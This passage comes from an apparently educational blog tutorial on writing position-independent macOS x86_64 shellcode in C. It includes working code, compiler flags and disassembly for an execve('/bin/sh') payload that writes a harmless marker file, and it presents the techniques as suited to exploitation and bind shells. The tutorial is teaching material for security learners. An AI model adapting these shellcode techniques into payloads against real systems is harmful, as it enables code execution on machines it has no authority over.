  <li><strong>Method 2 — libc Through Function-Pointer Placeholders:</strong> we keep calling <code class="language-plaintext highlighter-rouge">libc</code> functions like <code class="language-plaintext highlighter-rouge">execv</code> — But through pointers holding placeholder addresses, Which we patch with the real runtime addresses before use. Way faster to develop, With one big catch: <code class="language-plaintext highlighter-rouge">ASLR</code>.</li>
</ul>

<p>This is a continuation of our shellcoding series, So the <code class="language-plaintext highlighter-rouge">XNU</code> syscall classes, the <code class="language-plaintext highlighter-rouge">0x2000004</code>-style encoded numbers and the calling conventions from the first post are assumed known — Method 1 reuses them heavily. And to keep things fair, Both methods will cook the exact same meal: our old friend <code class="language-plaintext highlighter-rouge">echo "W00tW00t" &gt; /tmp/Pwned.txt</code>, So we can compare apples to apples. Let’s start with our Blogpost.</p>

<blockquote>
  <p>You can find all the code on my github: https://github.com/Zeyad-Azima/macOShellcoding</p>
</blockquote>

<p>Our environment for this post (this is an <code class="language-plaintext highlighter-rouge">Intel</code> Mac, so everything here runs natively):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ % sw_vers
ProductName:		macOS
ProductVersion:		26.5.1
BuildVersion:		25F80
~ % uname -m
x86_64
~ % clang --version | head -1
Apple clang version 21.0.0 (clang-2100.0.123.102)
</code></pre></div></div>

<blockquote>
  <p>Note: you may have heard that <code class="language-plaintext highlighter-rouge">macOS</code> ships <code class="language-plaintext highlighter-rouge">gcc</code>. Run <code class="language-plaintext highlighter-rouge">gcc --version</code> and you’ll see it’s actually <code class="language-plaintext highlighter-rouge">Apple clang</code> wearing a <code class="language-plaintext highlighter-rouge">gcc</code> costume — Apple replaced <code class="language-plaintext highlighter-rouge">GCC</code> with <code class="language-plaintext highlighter-rouge">LLVM</code>/<code class="language-plaintext highlighter-rouge">clang</code> years ago, So that’s what we will use here. Keep in mind that older <code class="language-plaintext highlighter-rouge">GNU gcc</code> versions arrange code differently in a couple of spots — If you’re following along on a machine with real <code class="language-plaintext highlighter-rouge">gcc</code>, Expect small differences in the dumps and always trust your own disassembly.</p>
</blockquote>

<h1 id="limitations">Limitations</h1>

<p>Writing shellcode in <code class="language-plaintext highlighter-rouge">C</code> sounds like a free lunch, But it comes with a menu of limitations we need to respect. Let’s write our usual payload — <code class="language-plaintext highlighter-rouge">execve("/bin/sh", ["/bin/sh","-c","echo \"W00tW00t\" &gt; /tmp/Pwned.txt"], NULL)</code> — as plain <code class="language-plaintext highlighter-rouge">C</code>, compile it, And see what the compiler serves us:</p>

<pre><code class="language-C">/* bad_shellcode.c — the naive attempt: looks like normal C, breaks as shellcode */
#include &lt;unistd.h&gt;

int main(void) {
    char *argv[] = {"/bin/sh", "-c", "echo \"W00tW00t\" &gt; /tmp/Pwned.txt", NULL};
    char *envp[] = {NULL};

    execve(argv[0], argv, envp);
    return 0;
}
</code></pre>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch x86_64 -c bad_shellcode.c -o bad_shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel bad_shellcode.o

bad_shellcode.o:	file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 &lt;_main&gt;:
       0: 55                           	push	rbp
       1: 48 89 e5                     	mov	rbp, rsp
       4: 48 83 ec 40                  	sub	rsp, 0x40
       8: 48 8b 05 00 00 00 00         	mov	rax, qword ptr [rip]    ## 0xf &lt;_main+0xf&gt;
       f: 48 8b 00                     	mov	rax, qword ptr [rax]
      12: 48 89 45 f8                  	mov	qword ptr [rbp - 0x8], rax
      16: c7 45 c4 00 00 00 00         	mov	dword ptr [rbp - 0x3c], 0x0
      1d: 48 8b 05 00 00 00 00         	mov	rax, qword ptr [rip]    ## 0x24 &lt;_main+0x24&gt;
      24: 48 89 45 d0                  	mov	qword ptr [rbp - 0x30], rax
      28: 48 8b 05 08 00 00 00         	mov	rax, qword ptr [rip + 0x8] ## 0x37 &lt;_main+0x37&gt;
      2f: 48 89 45 d8                  	mov	qword ptr [rbp - 0x28], rax
      33: 48 8b 05 10 00 00 00         	mov	rax, qword ptr [rip + 0x10] ## 0x4a &lt;_main+0x4a&gt;
      3a: 48 89 45 e0                  	mov	qword ptr [rbp - 0x20], rax
      3e: 48 8b 05 18 00 00 00         	mov	rax, qword ptr [rip + 0x18] ## 0x5d &lt;_main+0x5d&gt;
      45: 48 89 45 e8                  	mov	qword ptr [rbp - 0x18], rax
      49: 48 8d 7d c8                  	lea	rdi, [rbp - 0x38]
      4d: 31 f6                        	xor	esi, esi
      4f: ba 08 00 00 00               	mov	edx, 0x8
      54: e8 00 00 00 00               	call	0x59 &lt;_main+0x59&gt;
      59: 48 8b 7d d0                  	mov	rdi, qword ptr [rbp - 0x30]
      5d: 48 8d 75 d0                  	lea	rsi, [rbp - 0x30]
      61: 48 8d 55 c8                  	lea	rdx, [rbp - 0x38]
      65: e8 00 00 00 00               	call	0x6a &lt;_main+0x6a&gt;
      6a: 48 8b 05 00 00 00 00         	mov	rax, qword ptr [rip]    ## 0x71 &lt;_main+0x71&gt;
      71: 48 8b 00                     	mov	rax, qword ptr [rax]
      74: 48 8b 4d f8                  	mov	rcx, qword ptr [rbp - 0x8]
      78: 48 39 c8                     	cmp	rax, rcx
      7b: 75 08                        	jne	0x85 &lt;_main+0x85&gt;
      7d: 31 c0                        	xor	eax, eax
      7f: 48 83 c4 40                  	add	rsp, 0x40
      83: 5d                           	pop	rbp
      84: c3                           	ret
      85: e8 00 00 00 00               	call	0x8a &lt;_main+0x8a&gt;
shellcoding % nm -u bad_shellcode.o
___stack_chk_fail
___stack_chk_guard
_execve
_memset
</code></pre></div></div>

<p>And here is the menu of limitations, revealed by that dump:</p>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Limitation</th>
      <th>Evidence in the dump</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><strong><code class="language-plaintext highlighter-rouge">{R\E}IP</code>-relative addressing</strong> — every string literal and static object is reached with <code class="language-plaintext highlighter-rouge">mov rax, qword ptr [rip]</code>, which is patched by relocations at link time. Copy this blob somewhere else and those addresses point to garbage</td>
      <td>All the <code class="language-plaintext highlighter-rouge">[rip]</code> loads</td>
    </tr>
    <tr>
      <td>2</td>
      <td><strong>Outsourced calls</strong> — <code class="language-plaintext highlighter-rouge">execve()</code> and the compiler-inserted <code class="language-plaintext highlighter-rouge">memset()</code> are <code class="language-plaintext highlighter-rouge">call</code>s into <code class="language-plaintext highlighter-rouge">libc</code>. Your extracted blob has no <code class="language-plaintext highlighter-rouge">libc</code> — those calls jump into the void</td>
      <td><code class="language-plaintext highlighter-rouge">call</code> instructions + <code class="language-plaintext highlighter-rouge">nm -u</code></td>
    </tr>
    <tr>
      <td>3</td>
      <td><strong>Stack protector</strong> — the canary load at the top, the <code class="language-plaintext highlighter-rouge">cmp</code> + <code class="language-plaintext highlighter-rouge">jne</code>, and the trailing <code class="language-plaintext highlighter-rouge">call ___stack_chk_fail</code> are pure overhead you must compile out</td>
      <td><code class="language-plaintext highlighter-rouge">0x8</code>, <code class="language-plaintext highlighter-rouge">0x6a</code>–<code class="language-plaintext highlighter-rouge">0x7b</code>, <code class="language-plaintext highlighter-rouge">0x85</code></td>
    </tr>
    <tr>
      <td>4</td>
      <td><strong>Relocations</strong> — a shellcode blob must be reloc-free; anything referencing linked addresses is disqualified</td>
      <td>check with <code class="language-plaintext highlighter-rouge">otool -r</code></td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>Note: notice we always pass <code class="language-plaintext highlighter-rouge">--x86-asm-syntax=intel</code> to <code class="language-plaintext highlighter-rouge">objdump</code> — Apple’s default flavor is <code class="language-plaintext highlighter-rouge">AT&amp;T</code>, And we already suffered enough in assembly, no need to suffer reading it backwards too.</p>
</blockquote>

<p>Our two methods attack these limitations from opposite directions: <strong>Method 1</strong> eliminates <code class="language-plaintext highlighter-rouge">libc</code> entirely (pure syscalls, position-independent), While <strong>Method 2</strong> embraces <code class="language-plaintext highlighter-rouge">libc</code> — But calls it through addresses we control. Let’s build both.</p>

<h1 id="shellcode-creation">Shellcode Creation</h1>

<h2 id="method-1-position-independent-syscall-only">Method 1: Position-Independent, Syscall-Only</h2>

<p>Our target shellcode does the same thing as always: <code class="language-plaintext highlighter-rouge">execve("/bin/sh", ["/bin/sh", "-c", "echo \"W00tW00t\" &gt; /tmp/Pwned.txt"], NULL)</code>. Following our workflow from the previous posts, we already know everything: the syscall numbers with their <code class="language-plaintext highlighter-rouge">BSD</code> class encoding (<code class="language-plaintext highlighter-rouge">execve</code> = <code class="language-plaintext highlighter-rouge">0x200003B</code>, <code class="language-plaintext highlighter-rouge">exit</code> = <code class="language-plaintext highlighter-rouge">0x2000001</code>), And the calling conventions (<code class="language-plaintext highlighter-rouge">RDI</code>, <code class="language-plaintext highlighter-rouge">RSI</code>, <code class="language-plaintext highlighter-rouge">RDX</code> for the arguments, <code class="language-plaintext highlighter-rouge">RAX</code> for the number, then <code class="language-plaintext highlighter-rouge">syscall</code>).</p>

<h3 id="avoid-reip">Avoid {R|E}IP</h3>

<p>This is the heart of the whole technique. Anything in <code class="language-plaintext highlighter-rouge">C</code> that lives at a <strong>fixed address</strong> — string literals, globals, <code class="language-plaintext highlighter-rouge">static</code> arrays — becomes a <code class="language-plaintext highlighter-rouge">RIP</code>-relative reference in the compiled output. <code class="language-plaintext highlighter-rouge">RIP</code>-relative means “the thing at this distance from <em>where the code is running</em>” — perfect for a linked binary that stays put, Fatal for shellcode that gets <code class="language-plaintext highlighter-rouge">memcpy</code>’d into some <code class="language-plaintext highlighter-rouge">mmap</code>’d page at a random address. The rule is simple:</p>

<blockquote>
  <p><strong>Every byte your shellcode needs must be created at runtime, on the stack, from immediate values.</strong></p>
</blockquote>

<p>So how do we write that in <code class="language-plaintext highlighter-rouge">C</code> without the compiler smuggling a string literal in? We do exactly what we did by hand in assembly: <code class="language-plaintext highlighter-rouge">movabs</code> immediates into stack slots. In <code class="language-plaintext highlighter-rouge">C</code> that’s just initializing <code class="language-plaintext highlighter-rouge">unsigned long</code> variables with the little-endian hex of the string — The compiler turns each one into a <code class="language-plaintext highlighter-rouge">movabs rax, &lt;imm64&gt;</code> + stack store. Let’s decode our strings the same way we did in the assembly post:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">"/bin/sh\0"</code> → bytes <code class="language-plaintext highlighter-rouge">2f 62 69 6e 2f 73 68 00</code> → little-endian <code class="language-plaintext highlighter-rouge">0x0068732f6e69622f</code></li>
  <li><code class="language-plaintext highlighter-rouge">"-c\0"</code> → bytes <code class="language-plaintext highlighter-rouge">2d 63 00 ...</code> → little-endian <code class="language-plaintext highlighter-rouge">0x000000000000632d</code></li>
  <li><code class="language-plaintext highlighter-rouge">"echo \"W00tW00t\" &gt; /tmp/Pwned.txt\0"</code> → 33 bytes → four <code class="language-plaintext highlighter-rouge">unsigned long</code> immediates + a zero terminator byte:</li>
</ul>

<table>
  <thead>
    <tr>
      <th>Chunk</th>
      <th>Bytes (little-endian)</th>
      <th>Immediate</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cmd[0..7]</code></td>
      <td><code class="language-plaintext highlighter-rouge">65 63 68 6f 20 22 57 30</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x305722206f686365</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cmd[8..15]</code></td>
      <td><code class="language-plaintext highlighter-rouge">30 74 57 30 30 74 22 20</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x2022743030577430</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cmd[16..23]</code></td>
      <td><code class="language-plaintext highlighter-rouge">3e 20 2f 74 6d 70 2f 50</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x502f706d742f203e</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cmd[24..31]</code></td>
      <td><code class="language-plaintext highlighter-rouge">77 6e 65 64 2e 74 78 74</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x7478742e64656e77</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cmd[32]</code></td>
      <td><code class="language-plaintext highlighter-rouge">00</code></td>
      <td>terminator</td>
    </tr>
  </tbody>
</table>

<p>And here is our full shellcode in <code class="language-plaintext highlighter-rouge">C</code> — syscall wrappers via inline assembly (next section), strings as immediates, <code class="language-plaintext highlighter-rouge">argv</code> array on the stack, <code class="language-plaintext highlighter-rouge">NULL</code>-terminated:</p>

<pre><code class="language-C">/* shellcode.c — position-independent, syscall-only C shellcode for macOS x86_64 */
typedef unsigned long u64;

#define SYS_write   0x2000004UL /* (SYSCALL_CLASS_UNIX &lt;&lt; 24) | 4  */
#define SYS_execve  0x200003BUL /* (SYSCALL_CLASS_UNIX &lt;&lt; 24) | 59 */
#define SYS_exit    0x2000001UL /* (SYSCALL_CLASS_UNIX &lt;&lt; 24) | 1  */

static u64 sc3(u64 n, u64 a, u64 b, u64 c)
{
    u64 ret;
    __asm__ __volatile__("syscall"
                         : "=a"(ret)
                         : "a"(n), "D"(a), "S"(b), "d"(c)
                         : "rcx", "r11", "memory");
    return ret;
}

int main(void)
{
    /* strings built from immediates on the stack — never a pointer into static data */
    volatile u64 s_sh = 0x0068732f6e69622fUL; /* "/bin/sh\0" */
    volatile u64 s_c  = 0x000000000000632dUL; /* "-c\0"      */

    /* "echo \"W00tW00t\" &gt; /tmp/Pwned.txt\0" — 33 bytes, as 4 immediates + terminator */
    volatile char cmd[33];
    *(volatile u64 *)&amp;cmd[0]  = 0x305722206f686365UL;
    *(volatile u64 *)&amp;cmd[8]  = 0x2022743030577430UL;
    *(volatile u64 *)&amp;cmd[16] = 0x502f706d742f203eUL;
    *(volatile u64 *)&amp;cmd[24] = 0x7478742e64656e77UL;
    cmd[32] = 0;

    /* argv array on the stack — pointers to our stack strings, NULL-terminated */
    u64 argv[4];
    argv[0] = (u64)&amp;s_sh;
    argv[1] = (u64)&amp;s_c;
    argv[2] = (u64)cmd;
    argv[3] = 0;

    sc3(SYS_execve, (u64)&amp;s_sh, (u64)argv, 0);
    sc3(SYS_exit, 0, 0, 0);
    __builtin_unreachable();
}
</code></pre>

<p>A few things to notice here:</p>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">volatile</code> keywords are not decoration — they force every store to actually happen, in order, and stop <code class="language-plaintext highlighter-rouge">-O2</code> from eliding anything the inline asm can’t see. Shellcode is no place for clever elision.</li>
  <li><code class="language-plaintext highlighter-rouge">argv[3] = 0</code> — our <code class="language-plaintext highlighter-rouge">NULL</code> terminator, the same trap we hit in the <code class="language-plaintext highlighter-rouge">ARM64</code> post. The <code class="language-plaintext highlighter-rouge">C</code> compiler adds it silently in normal code; here we place it ourselves.</li>
  <li><code class="language-plaintext highlighter-rouge">__builtin_unreachable()</code> after the final <code class="language-plaintext highlighter-rouge">exit</code> — tells the compiler there’s no way back, so it doesn’t generate any return path (you’ll see it emit a <code class="language-plaintext highlighter-rouge">ud2</code> — a “this should never execute” trap — as the last instruction. It never does.)</li>
  <li>The syscall numbers are the exact same <code class="language-plaintext highlighter-rouge">BSD</code>-encoded tickets from our first post: <code class="language-plaintext highlighter-rouge">(SYSCALL_CLASS_UNIX &lt;&lt; 24) | syscall_number</code>.</li>
</ul>

<p>Now the compile line — this is where the leash is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch x86_64 -c -O2 -ffreestanding -fno-stack-protector -fno-builtin shellcode.c -o shellcode.o
shellcoding % nm -u shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o

shellcode.o:	file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 &lt;_main&gt;:
       0: 55                           	push	rbp
       1: 48 89 e5                     	mov	rbp, rsp
       4: 48 b8 2f 62 69 6e 2f 73 68 00	movabs	rax, 0x68732f6e69622f
       e: 48 89 45 f0                  	mov	qword ptr [rbp - 0x10], rax
      12: 48 c7 45 f8 2d 63 00 00      	mov	qword ptr [rbp - 0x8], 0x632d
      1a: 48 b8 65 63 68 6f 20 22 57 30	movabs	rax, 0x305722206f686365
      24: 48 89 45 c0                  	mov	qword ptr [rbp - 0x40], rax
      28: 48 b8 30 74 57 30 30 74 22 20	movabs	rax, 0x2022743030577430
      32: 48 89 45 c8                  	mov	qword ptr [rbp - 0x38], rax
      36: 48 b8 3e 20 2f 74 6d 70 2f 50	movabs	rax, 0x502f706d742f203e
      40: 48 89 45 d0                  	mov	qword ptr [rbp - 0x30], rax
      44: 48 b8 77 6e 65 64 2e 74 78 74	movabs	rax, 0x7478742e64656e77
      4e: 48 89 45 d8                  	mov	qword ptr [rbp - 0x28], rax
      52: c6 45 e0 00                  	mov	byte ptr [rbp - 0x20], 0x0
      56: 48 8d 7d f0                  	lea	rdi, [rbp - 0x10]
      5a: 48 89 7d a0                  	mov	qword ptr [rbp - 0x60], rdi
      5e: 48 8d 45 f8                  	lea	rax, [rbp - 0x8]
      62: 48 89 45 a8                  	mov	qword ptr [rbp - 0x58], rax
      66: 48 8d 45 c0                  	lea	rax, [rbp - 0x40]
      6a: 48 89 45 b0                  	mov	qword ptr [rbp - 0x50], rax
      6e: 48 c7 45 b8 00 00 00 00      	mov	qword ptr [rbp - 0x48], 0x0
      76: 48 8d 75 a0                  	lea	rsi, [rbp - 0x60]
      7a: b8 3b 00 00 02               	mov	eax, 0x200003b
      7f: 31 d2                        	xor	edx, edx
      81: 0f 05                        	syscall
      83: b8 01 00 00 02               	mov	eax, 0x2000001
      88: 31 ff                        	xor	edi, edi
      8a: 31 f6                        	xor	esi, esi
      8c: 31 d2                        	xor	edx, edx
      8e: 0f 05                        	syscall
      90: 0f 0b                        	ud2
</code></pre></div></div>

<p>Look at that. <code class="language-plaintext highlighter-rouge">nm -u</code> printed <strong>nothing</strong> — zero undefined symbols. No <code class="language-plaintext highlighter-rouge">[rip]</code> anywhere. Every string is a <code class="language-plaintext highlighter-rouge">movabs</code> immediate stored to the stack — the compiler literally generated the same <code class="language-plaintext highlighter-rouge">movabs + mov [rbp-x], rax</code> pattern we hand-wrote in the assembly post. The <code class="language-plaintext highlighter-rouge">argv</code> array is built with <code class="language-plaintext highlighter-rouge">lea rbp</code>-relative addresses (stack addresses — computed at runtime, position-independent by nature), And both syscalls are right there: <code class="language-plaintext highlighter-rouge">mov eax, 0x200003b</code> + <code class="language-plaintext highlighter-rouge">syscall</code>, then the <code class="language-plaintext highlighter-rouge">exit</code> fallback. The <code class="language-plaintext highlighter-rouge">ud2</code> at the end is the <code class="language-plaintext highlighter-rouge">__builtin_unreachable()</code> trap — unreachable, since <code class="language-plaintext highlighter-rouge">exit</code> never returns.</p>

<blockquote>
  <p>Note: watch the flags, they are not optional. Drop <code class="language-plaintext highlighter-rouge">-O2</code> and the compiler stops inlining <code class="language-plaintext highlighter-rouge">sc3()</code> — you get real <code class="language-plaintext highlighter-rouge">call</code> instructions to your own wrapper, splitting the blob into pieces. Drop <code class="language-plaintext highlighter-rouge">-fno-stack-protector</code> and (depending on the toolchain version) a canary + <code class="language-plaintext highlighter-rouge">___stack_chk_fail</code> sneaks in. Drop <code class="language-plaintext highlighter-rouge">-ffreestanding</code>/<code class="language-plaintext highlighter-rouge">-fno-builtin</code> and the compiler starts “helping” by calling <code class="language-plaintext highlighter-rouge">memset</code> and friends. Always verify with <code class="language-plaintext highlighter-rouge">nm -u</code> (must print nothing) and <code class="language-plaintext highlighter-rouge">grep rip</code> on the disassembly (must print nothing).</p>
</blockquote>

<h3 id="avoid-outsourced-calls">Avoid outsourced calls</h3>

<p>The second rule: <strong>the shellcode can only call the kernel</strong>. Every <code class="language-plaintext highlighter-rouge">call</code> instruction in the final blob is a liability — <code class="language-plaintext highlighter-rouge">call rel32</code> to a function that got linked elsewhere is a one-way ticket to <code class="language-plaintext highlighter-rouge">SIGSEGV</code> once the blob is relocated. That means:</p>

<ul>
  <li><strong>No <code class="language-plaintext highlighter-rouge">libc</code> functions.</strong> <code class="language-plaintext highlighter-rouge">execve()</code>, <code class="language-plaintext highlighter-rouge">write()</code>, <code class="language-plaintext highlighter-rouge">memset()</code>, <code class="language-plaintext highlighter-rouge">printf()</code> — all outsourced. We replace them with our own inline-assembly syscall wrappers:</li>
</ul>

<pre><code class="language-C">static u64 sc3(u64 n, u64 a, u64 b, u64 c)
{
    u64 ret;
    __asm__ __volatile__("syscall"
                         : "=a"(ret)
                         : "a"(n), "D"(a), "S"(b), "d"(c)
                         : "rcx", "r11", "memory");
    return ret;
}
</code></pre>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Reading the constraints: `"a"(n)` puts the encoded syscall number in `RAX`, `"D"(a)`, `"S"(b)`, `"d"(c)` load `RDI`, `RSI`, `RDX` with the three arguments — the exact calling convention from our first post. The clobbers list tells the compiler that `RCX` and `R11` get destroyed by the `syscall` instruction (they hold `RIP` and `RFLAGS` after the trap) and that `"memory"` may be read/written — so the compiler won’t reorder our stack-string stores past the syscall. Need more arguments? Add `sc4`, `sc5`... with `"r"(d)` constraints mapping into `R10` (note: the 4th kernel argument is `R10`, not `RCX` — `syscall` overwrites `RCX`).
</code></pre></div></div>

<ul>
  <li><strong>No function calls you didn’t inline.</strong> That’s why <code class="language-plaintext highlighter-rouge">-O2</code> matters: our tiny <code class="language-plaintext highlighter-rouge">static</code> wrapper gets inlined at every call site, so the final blob has zero <code class="language-plaintext highlighter-rouge">call</code> instructions. Verify it — <code class="language-plaintext highlighter-rouge">grep call</code> on the disassembly must come back empty (ours does: only <code class="language-plaintext highlighter-rouge">push</code>, <code class="language-plaintext highlighter-rouge">mov</code>, <code class="language-plaintext highlighter-rouge">lea</code>, <code class="language-plaintext highlighter-rouge">xor</code>, <code class="language-plaintext highlighter-rouge">syscall</code>).</li>
  <li><strong>No standard headers pulling in magic.</strong> We only use our own <code class="language-plaintext highlighter-rouge">typedef</code> and <code class="language-plaintext highlighter-rouge">#define</code>s. Headers like <code class="language-plaintext highlighter-rouge">&lt;unistd.h&gt;</code> are fine for <em>reading</em> function signatures, But don’t call anything from them.</li>
</ul>

<p>The verification ritual before extracting — all three must be silent:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nm -u shellcode.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o | grep -i "\[rip"
shellcoding % otool -r shellcode.o

shellcode.o:
</code></pre></div></div>

<p>No undefined symbols, No <code class="language-plaintext highlighter-rouge">RIP</code>-relative memory operands, No relocations. The blob is free to live anywhere.</p>

<h2 id="method-2-libc-through-function-pointers-placeholders">Method 2: libc Through Function-Pointers Placeholders</h2>

<p>Method 1 is bulletproof — But writing something bigger, Like a <code class="language-plaintext highlighter-rouge">bind shell</code>, with raw syscall wrappers means hand-declaring <code class="language-plaintext highlighter-rouge">struct sockaddr_in</code> layouts, Byte-swapping ports by hand and juggling five different syscall numbers. Since we can call <strong>any function we want</strong> in <code class="language-plaintext highlighter-rouge">C</code>, development would be much faster if we could just… call <code class="language-plaintext highlighter-rouge">libc</code>. And we can — with a trick: we declare the function <strong>ourselves</strong> as a function-pointer type, Initialize it with a <strong>placeholder address</strong>, And patch that placeholder with <code class="language-plaintext highlighter-rouge">execv</code>’s real runtime address before the shellcode ever runs.</p>

<p>The catch first, So you can decide where this method applies: the addresses we hardcode are <strong>position-dependent</strong> — <code class="language-plaintext highlighter-rouge">ASLR</code> randomizes <code class="language-plaintext highlighter-rouge">libc</code>’s location in the shared cache <strong>once per boot</strong>. The address we bake in today is garbage after the next reboot. That means this method needs <strong>code execution on the target first</strong> — So we can look up the real addresses at runtime — Which makes it perfect for <strong>local exploitation</strong> (privilege escalation, post-exploitation), And the wrong tool for a fire-and-forget remote payload. Choose your weapon per scenario.</p>

<h3 id="same-payload-different-strategy">Same Payload, Different Strategy</h3>

<p>Remember the two problems our <code class="language-plaintext highlighter-rouge">bad_shellcode.o</code> dump exposed in the <code class="language-plaintext highlighter-rouge">Limitations</code> section? The <code class="language-plaintext highlighter-rouge">[rip]</code>-relative string, And the <code class="language-plaintext highlighter-rouge">call</code> into <code class="language-plaintext highlighter-rouge">libc</code>’s stub. Method 1’s answer was “eliminate <code class="language-plaintext highlighter-rouge">libc</code>”. Method 2’s answer is sneakier:</p>

<ol>
  <li><strong>The string problem</strong> — we solve it exactly like Method 1: our <code class="language-plaintext highlighter-rouge">u64</code> immediate chunks on the stack. Reuse the same chunk table, No new homework.</li>
  <li><strong>The stub problem</strong> — instead of replacing <code class="language-plaintext highlighter-rouge">execv()</code> with a raw syscall, we <strong>keep the call — but redirect it</strong>: we declare <code class="language-plaintext highlighter-rouge">execv</code>’s signature ourselves as a function-pointer type, Initialize the pointer with a placeholder value, And the compiler emits a <code class="language-plaintext highlighter-rouge">call register</code> through our variable instead of a <code class="language-plaintext highlighter-rouge">call</code> into the <code class="language-plaintext highlighter-rouge">__stubs</code> section. Later, We patch the placeholder with the real runtime address of <code class="language-plaintext highlighter-rouge">execv</code>.</li>
</ol>

<p>The compile line is lighter this time — we don’t need <code class="language-plaintext highlighter-rouge">-ffreestanding</code> or <code class="language-plaintext highlighter-rouge">-fno-builtin</code> (we’re not hiding from <code class="language-plaintext highlighter-rouge">libc</code>, we’re just not calling it <em>by name</em>), But we still take the canary off:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang -arch x86_64 -c -fno-stack-protector shellcode_m2.c -o shellcode_m2.o
</code></pre></div></div>

<h3 id="building-strings-without-the-compilers-help">Building Strings Without the Compiler’s Help</h3>

<p>First attempt — the classic trick you’ll see recommended: declare the string as a <code class="language-plaintext highlighter-rouge">char</code> array with character initializers, Hoping the compiler materializes it inside the code:</p>

<pre><code class="language-C">char b[] = {'/','b','i','n','/','s','h',0};
</code></pre>

<p>On older <code class="language-plaintext highlighter-rouge">gcc</code> versions this worked — But our <code class="language-plaintext highlighter-rouge">Apple clang 21</code> is smarter than we’d like: <strong>it constant-folds the array back into a <code class="language-plaintext highlighter-rouge">__cstring</code> literal</strong> and copies it in with <code class="language-plaintext highlighter-rouge">rip</code>-relative loads — Even with <code class="language-plaintext highlighter-rouge">volatile</code>, Even at <code class="language-plaintext highlighter-rouge">-O0</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>; what clang 21 actually emits for the initializer above (still rip-dependent!):
100000478: 66 8b 05 33 00 00 00  mov	ax, word ptr [rip + 0x33]
10000047f: 66 89 45 f8          	mov	word ptr [rbp - 0x8], ax
100000483: 48 8b 05 20 00 00 00 	mov	rax, qword ptr [rip + 0x20]
10000048a: 48 89 45 f0          	mov	qword ptr [rbp - 0x10], rax
</code></pre></div></div>

<p>The compiler outsmarted the trick. So we go back to our own recipe from Method 1 — immediates the compiler <strong>cannot</strong> fold, Because they’re just numbers being moved into stack slots:</p>

<pre><code class="language-C">volatile u64 s_sh = 0x0068732f6e69622fUL;   /* "/bin/sh\0" */
volatile u64 s_c  = 0x000000000000632dUL;   /* "-c\0"      */

volatile char cmd[33];
*(volatile u64 *)&amp;cmd[0]  = 0x305722206f686365UL;
*(volatile u64 *)&amp;cmd[8]  = 0x2022743030577430UL;
*(volatile u64 *)&amp;cmd[16] = 0x502f706d742f203eUL;
*(volatile u64 *)&amp;cmd[24] = 0x7478742e64656e77UL;
cmd[32] = 0;
</code></pre>

<p>Same chunk table as Method 1 — One payload, One set of homework. For very short strings you can also do element-wise assignments (<code class="language-plaintext highlighter-rouge">b[0] = '/'; b[1] = 'b'; ...</code>) — Each becomes its own <code class="language-plaintext highlighter-rouge">mov byte ptr [rbp - x], imm8</code>, Which clang also can’t fold. Pick whichever reads better for your shellcode.</p>

<h3 id="calling-libc-through-a-placeholder">Calling libc Through a Placeholder</h3>

<p>Now the stub problem. <code class="language-plaintext highlighter-rouge">execv</code>’s real signature (from <code class="language-plaintext highlighter-rouge">Libc</code>’s <code class="language-plaintext highlighter-rouge">unistd.h</code>) is:</p>

<pre><code class="language-C">int execv(const char *path, char *const argv[]);
</code></pre>

<p>We declare that signature <strong>ourselves</strong> as a function-pointer type, create a variable of it, And cast our placeholder address into it — This works because functions in <code class="language-plaintext highlighter-rouge">C</code> are just memory addresses, And calling through the pointer emits an indirect <code class="language-plaintext highlighter-rouge">call register</code> instead of a linked <code class="language-plaintext highlighter-rouge">call</code>:</p>

<pre><code class="language-C">/* shellcode_m2.c — Method 2: libc through function-pointer placeholders */
typedef unsigned long u64;

int main(void)
{
    /* execv's real signature: int execv(const char *path, char *const argv[]); */
    typedef int *(*execv_t)(const char *, char *const *);
    execv_t my_execv = (execv_t)0x1122334455667788;   /* placeholder — patched with the real one below */

    volatile u64 s_sh = 0x0068732f6e69622fUL;   /* "/bin/sh\0" */
    volatile u64 s_c  = 0x000000000000632dUL;   /* "-c\0"      */

    /* "echo \"W00tW00t\" &gt; /tmp/Pwned.txt\0" — same chunks as Method 1 */
    volatile char cmd[33];
    *(volatile u64 *)&amp;cmd[0]  = 0x305722206f686365UL;
    *(volatile u64 *)&amp;cmd[8]  = 0x2022743030577430UL;
    *(volatile u64 *)&amp;cmd[16] = 0x502f706d742f203eUL;
    *(volatile u64 *)&amp;cmd[24] = 0x7478742e64656e77UL;
    cmd[32] = 0;

    char *argv[4];
    argv[0] = (char *)&amp;s_sh;   /* argv[0] must be the same path */
    argv[1] = (char *)&amp;s_c;
    argv[2] = cmd;
    argv[3] = 0;               /* NULL-terminated */

    my_execv((char *)&amp;s_sh, argv);
    return 0;
}
</code></pre>

<blockquote>
